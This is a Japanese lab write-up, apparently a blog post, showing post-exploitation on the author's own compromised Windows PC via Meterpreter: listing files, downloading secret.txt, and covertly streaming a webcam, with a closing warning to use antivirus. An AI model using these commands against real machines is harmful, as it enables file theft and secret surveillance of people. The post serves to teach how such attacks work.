Windowsパソコンの操作を奪いました.したがって以降は全て攻撃用パソコンのMeterpreterプロンプトで操作します.

カレントディレクトリを表示する

カレントディレクトリを調べます.Linuxのコマンドと同様にpwdで出力されます.

meterpreter > pwd

実験ではayashii.exeを保存したC:\User\user\Desktop\folderが表示されました.

カレントディレクトリの中身を覗く

これもLinuxコマンドと同じくlsで可能です.

meterpreter > ls

実験ではayashii.exesecret.txtが表示されました.

ファイルをダウンロードする

downloadコマンドでファイルを保存できます.試しにsecret.txtを盗んでみます.

meterpreter > download secret.txt

C:\User\user\Desktop\folder\secret.txtが攻撃用パソコンのホームディレクトリに保存されました.

f:id:a3VtYQ2e9uA1:20200503215012p:plain
pwd, ls, downloadを実行した

~/secret.txtをVimで開いてみました.

f:id:a3VtYQ2e9uA1:20200503215037p:plain
保存したsecret.txtを開いてみた

Webカメラで盗撮してみる

Webカメラを遠隔操作してみます.

有効なWebカメラがあるか確認する

当然ですがWindowsパソコンにWebカメラが無ければ操作できるはずがありません.Meterpreterプロンプトでwebcam_listを実行します.存在すればリストアップされるし,無ければ無いと言われます.

meterpreter > webcam_list

実験に使用したWindowsパソコンの構成は以下のようであるため,2つのWebカメラが検出されました.

f:id:a3VtYQ2e9uA1:20200503215157p:plain
Windowsパソコン.Webカメラは2つある

Webカメラで盗撮する.

Webカメラのストリーム映像を表示するには,webcam_stream -i [Webカメラの番号]を実行します.
今回の実験ではUSB接続のカメラのデータを見たいため[Webカメラの番号]に2を指定しましたが,デフォルトでは1です.

meterpreter > webcam_stream -i 2

f:id:a3VtYQ2e9uA1:20200503215235p:plain
webcam_list, webcam_streamを実行した

以上を実行するとWebブラウザが開きストリーム映像が出力されます.
エラーが起こる場合はcheeseをインストールすると解決するかもしれません.cheeseGnome向けのカメラアプリです.

f:id:a3VtYQ2e9uA1:20200503215419p:plain
FirefoxWebカメラのストリーム映像が確認できる.止めるにはこのウィンドウを閉じた後,端末でCtrl+Cを入力する

おわり

Webカメラを遠隔操作する実験をやってみました.WindowsパソコンからしてみればアヤシイEXEファイルを実行しただけで盗撮されてしまうので恐ろしいことこの上ないですね.

さて,今回の実験は「ハッキング・ラボの作り方」という書籍を参考に行いました.しかし書籍と異なりペイロード自動起動を有効にしてバックドアを設置する手順は省略しました.というのも,Windows10ではWindows Defenderのリアルタイム保護を無効に設定しても,一度電源を落とすと自動的に有効になってしまうからです.つまり,実験終了後にパソコンを再起動して再びayashii.exeを実行するとWindows Defenderのアラートが出ると考えられます.

Windowsパソコンを使う際は,必ず何らかのウィルス対策を講じて,不審なプログラムは実行しないようにしましょう.
次回は権限昇格とかパスワードの解析とかやるかも.